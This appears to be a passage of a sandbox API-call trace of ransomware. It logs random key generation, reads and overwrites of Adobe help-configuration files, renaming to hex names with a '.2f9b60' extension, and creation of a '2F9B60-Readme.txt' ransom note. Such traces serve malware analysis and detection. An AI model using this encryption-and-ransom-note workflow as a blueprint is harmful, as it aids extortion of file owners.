RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x555d8f15 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x2f49099c [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x5e9ce7e9 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x456c5755 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x7e2e2fb0 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x55e6672e [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x2f4b1163 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x3995ae88 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x773dad1b [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x3e4e06a8 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x290b898e [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x7c7b76c5 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x3b141661 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0xe15a6ea [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x2388e6b4 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x2b505ee3 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x745953c7 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x5b99aa69 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x333d7dc5 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x4e21b7df [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0xf320455 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x72a16858 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x353fe696 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x19db9849 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x174865c3 [0154.953] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x410e0cfe [0154.953] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x2f168dd6 [0154.953] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x413fe79 [0154.953] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x777437bb [0154.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda670 [0154.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ccc0 [0154.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda6a0 [0154.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ccc0) returned 1 [0154.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda640) returned 1 [0154.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced21f0 [0154.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ccc0 [0154.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428a52c0 [0154.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428a8ed0 [0154.963] ReadFile (in: hFile=0x728, lpBuffer=0x428a52c0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x3001f870, lpOverlapped=0x0 | out: lpBuffer=0x428a52c0*, lpNumberOfBytesRead=0x3001f870*=0x15d, lpOverlapped=0x0) returned 1 [0154.964] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.964] WriteFile (in: hFile=0x728, lpBuffer=0x428a8ed0*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x3001f874, lpOverlapped=0x0 | out: lpBuffer=0x428a8ed0*, lpNumberOfBytesWritten=0x3001f874*=0x15d, lpOverlapped=0x0) returned 1 [0162.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c00 [0162.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c30 [0162.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c30) returned 1 [0162.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428a8ed0) returned 1 [0162.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428a52c0) returned 1 [0162.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ccc0) returned 1 [0162.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced21f0) returned 1 [0162.468] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7aa7e0 [0162.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced21f0 [0162.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86ccc0 [0162.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c30 [0162.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c30) returned 1 [0162.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7aa460 [0162.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c30 [0162.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18c60 [0162.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c60) returned 1 [0162.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ccc0) returned 1 [0162.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced21f0) returned 1 [0162.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x42c15290 [0162.471] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.471] WriteFile (in: hFile=0x728, lpBuffer=0x42c15290*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3001f990, lpOverlapped=0x0 | out: lpBuffer=0x42c15290*, lpNumberOfBytesWritten=0x3001f990*=0x118, lpOverlapped=0x0) returned 1 [0166.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0166.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0166.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a8030 [0166.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8030) returned 1 [0166.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a8030 [0166.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7f70 [0166.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7fa0 [0166.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7fa0) returned 1 [0166.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0166.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0166.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd864f0 [0166.362] sprintf (in: _Dest=0x1cd864f0, _Format="%c%c" | out: _Dest="31") returned 2 [0166.363] sprintf (in: _Dest=0x1cd864f2, _Format="%c%c" | out: _Dest="8f") returned 2 [0166.363] sprintf (in: _Dest=0x1cd864f4, _Format="%c%c" | out: _Dest="12") returned 2 [0166.363] sprintf (in: _Dest=0x1cd864f6, _Format="%c%c" | out: _Dest="c8") returned 2 [0166.363] sprintf (in: _Dest=0x1cd864f8, _Format="%c%c" | out: _Dest="90") returned 2 [0166.363] sprintf (in: _Dest=0x1cd864fa, _Format="%c%c" | out: _Dest="cf") returned 2 [0166.363] sprintf (in: _Dest=0x1cd864fc, _Format="%c%c" | out: _Dest="54") returned 2 [0166.363] sprintf (in: _Dest=0x1cd864fe, _Format="%c%c" | out: _Dest="25") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86500, _Format="%c%c" | out: _Dest="8a") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86502, _Format="%c%c" | out: _Dest="54") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86504, _Format="%c%c" | out: _Dest="60") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86506, _Format="%c%c" | out: _Dest="d0") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86508, _Format="%c%c" | out: _Dest="52") returned 2 [0166.363] sprintf (in: _Dest=0x1cd8650a, _Format="%c%c" | out: _Dest="b0") returned 2 [0166.363] sprintf (in: _Dest=0x1cd8650c, _Format="%c%c" | out: _Dest="d6") returned 2 [0166.363] sprintf (in: _Dest=0x1cd8650e, _Format="%c%c" | out: _Dest="4d") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86510, _Format="%c%c" | out: _Dest="b7") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86512, _Format="%c%c" | out: _Dest="b2") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86514, _Format="%c%c" | out: _Dest="9a") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86516, _Format="%c%c" | out: _Dest="58") returned 2 [0166.363] sprintf (in: _Dest=0x1cd86518, _Format="%c%c" | out: _Dest="56") returned 2 [0166.363] sprintf (in: _Dest=0x1cd8651a, _Format="%c%c" | out: _Dest="b5") returned 2 [0166.363] sprintf (in: _Dest=0x1cd8651c, _Format="%c%c" | out: _Dest="1a") returned 2 [0166.363] sprintf (in: _Dest=0x1cd8651e, _Format="%c%c" | out: _Dest="be") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86520, _Format="%c%c" | out: _Dest="ae") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86522, _Format="%c%c" | out: _Dest="1a") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86524, _Format="%c%c" | out: _Dest="ab") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86526, _Format="%c%c" | out: _Dest="11") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86528, _Format="%c%c" | out: _Dest="3d") returned 2 [0166.364] sprintf (in: _Dest=0x1cd8652a, _Format="%c%c" | out: _Dest="59") returned 2 [0166.364] sprintf (in: _Dest=0x1cd8652c, _Format="%c%c" | out: _Dest="e4") returned 2 [0166.364] sprintf (in: _Dest=0x1cd8652e, _Format="%c%c" | out: _Dest="6b") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86530, _Format="%c%c" | out: _Dest="f1") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86532, _Format="%c%c" | out: _Dest="9d") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86534, _Format="%c%c" | out: _Dest="d5") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86536, _Format="%c%c" | out: _Dest="53") returned 2 [0166.364] sprintf (in: _Dest=0x1cd86538, _Format="%c%c" | out: _Dest="c5") returned 2 [0166.364] sprintf (in: _Dest=0x1cd8653a, _Format="%c%c" | out: _Dest="fc") returned 2 [0166.364] RtlInitAnsiString (in: DestinationString=0x3001fa08, SourceString="318f12c890cf54258a5460d052b0d64db7b29a5856b51abeae1aab113d59e46bf19dd553c5fc" | out: DestinationString="318f12c890cf54258a5460d052b0d64db7b29a5856b51abeae1aab113d59e46bf19dd553c5fc") [0166.365] RtlAnsiStringToUnicodeString (in: DestinationString=0x3001f9d8, SourceString="318f12c890cf54258a5460d052b0d64db7b29a5856b51abeae1aab113d59e46bf19dd553c5fc", AllocateDestinationString=1 | out: DestinationString="318f12c890cf54258a5460d052b0d64db7b29a5856b51abeae1aab113d59e46bf19dd553c5fc") returned 0x0 [0166.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b861f90 [0166.365] RtlFreeAnsiString (AnsiString="3") [0166.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd864f0) returned 1 [0166.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a8030) returned 1 [0166.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7f70) returned 1 [0166.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c15290) returned 1 [0166.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa460) returned 1 [0166.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c30) returned 1 [0166.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa7e0) returned 1 [0166.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18c00) returned 1 [0166.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda5b0) returned 1 [0166.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda670) returned 1 [0166.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda6a0) returned 1 [0166.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8616a0 [0166.368] wcscat (in: _Dest=0x1b8616a0, _Source="318f12c890cf54258a5" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\318f12c890cf54258a5") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\318f12c890cf54258a5" [0166.368] wcscat (in: _Dest=0x1b8616a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\318f12c890cf54258a5.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\318f12c890cf54258a5.2f9b60" [0166.369] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\318f12c890cf54258a5.2f9b60", NtPathName=0x3001f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\318f12c890cf54258a5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118fd0 [0200.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0200.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1a680) returned 1 [0200.420] NtQueryInformationFile (in: FileHandle=0x728, IoStatusBlock=0x3001fa18, FileInformation=0x3001fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3001fa18, FileInformation=0x3001fa28) returned 0x0 [0200.420] NtSetInformationFile (FileHandle=0x728, IoStatusBlock=0x3001fa18, FileInformation=0x3001fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0203.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8616a0) returned 1 [0203.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861f90) returned 1 [0203.929] FlushFileBuffers (hFile=0x728) returned 1 [0204.254] CloseHandle (hObject=0x728) returned 1 [0208.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c8fe0 [0208.039] wcscpy (in: _Dest=0x431c8fe0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\" [0208.039] wcscat (in: _Dest=0x431c8fe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\2F9B60-Readme.txt" [0208.039] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no\\2f9b60-readme.txt")) returned 0xffffffff [0208.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f94 [0210.087] WriteFile (in: hFile=0x1f94, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3001f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3001f8d0*=0xba9, lpOverlapped=0x0) returned 1 [0218.144] CloseHandle (hObject=0x1f94) returned 1 [0222.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c8fe0) returned 1 [0222.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505b90) returned 1 Thread: id = 2524 os_tid = 0x1fe4 [0154.969] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl\\reader_10.0.helpcfg")) returned 0x20 [0154.970] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nl_nl\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x750 [0154.971] GetFileSizeEx (in: hFile=0x750, lpFileSize=0x2db2f800 | out: lpFileSize=0x2db2f800*=349) returned 1 [0154.971] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.971] ReadFile (in: hFile=0x750, lpBuffer=0x2db2f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2db2f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2db2f780*, lpNumberOfBytesRead=0x2db2f7c8*=0x4, lpOverlapped=0x0) returned 1 [0154.972] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda640 [0154.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda6d0 [0154.973] NtQuerySystemTime (in: CurrentTime=0x2db2f6c0 | out: CurrentTime=0x2db2f6c0*=132462177601102000) returned 0x0 [0154.973] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x6cedf99a [0154.973] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x58f7b154 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x1f88b032 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x6d0315de [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x52e749ff [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x4b53ac8d [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x172118d2 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x2355e9fc [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x188b874b [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x52e67fe6 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x169eec23 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x53674447 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x77e7b207 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x22bd32ba [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x7a103402 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x6d36fafe [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x208554e7 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x729a1c1b [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x36a00781 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x79c81d7d [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x28bf78aa [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x10973f26 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x2bcb018c [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x691e8968 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x1afd1e73 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x706f8d00 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x49317ae [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x3e8be32d [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x260fa38c [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x61628f37 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x3fa71e01 [0154.974] RtlRandomEx (in: Seed=0x2db2f6b0 | out: Seed=0x2db2f6b0) returned 0x285a0dbd [0154.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda700 [0154.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cd40 [0154.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda730 [0154.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cd40) returned 1 [0154.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda6d0) returned 1 [0154.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2240 [0154.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cd40 [0154.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428acae0 [0154.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428b09e0 [0154.992] ReadFile (in: hFile=0x750, lpBuffer=0x428acae0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2db2f6b0, lpOverlapped=0x0 | out: lpBuffer=0x428acae0*, lpNumberOfBytesRead=0x2db2f6b0*=0x15d, lpOverlapped=0x0) returned 1 [0154.992] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.992] WriteFile (hFile=0x750, lpBuffer=0x428b09e0, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2db2f6b4, lpOverlapped=0x0) [0192.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139d90 [0192.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139dc0 [0192.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139dc0) returned 1 [0192.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428b09e0) returned 1 [0192.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428acae0) returned 1 [0192.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cd40) returned 1 [0192.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2240) returned 1 [0192.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d430 [0192.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2240 [0192.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cd40 [0192.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139dc0 [0192.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139dc0) returned 1 [0192.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5d470 [0192.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139dc0 [0192.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43139df0 [0192.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43139df0) returned 1 [0192.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cd40) returned 1 [0192.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2240) returned 1 [0192.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423ab190 [0192.796] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0192.796] WriteFile (in: hFile=0x750, lpBuffer=0x423ab190*, nNumberOfBytesToWrite=0x118, 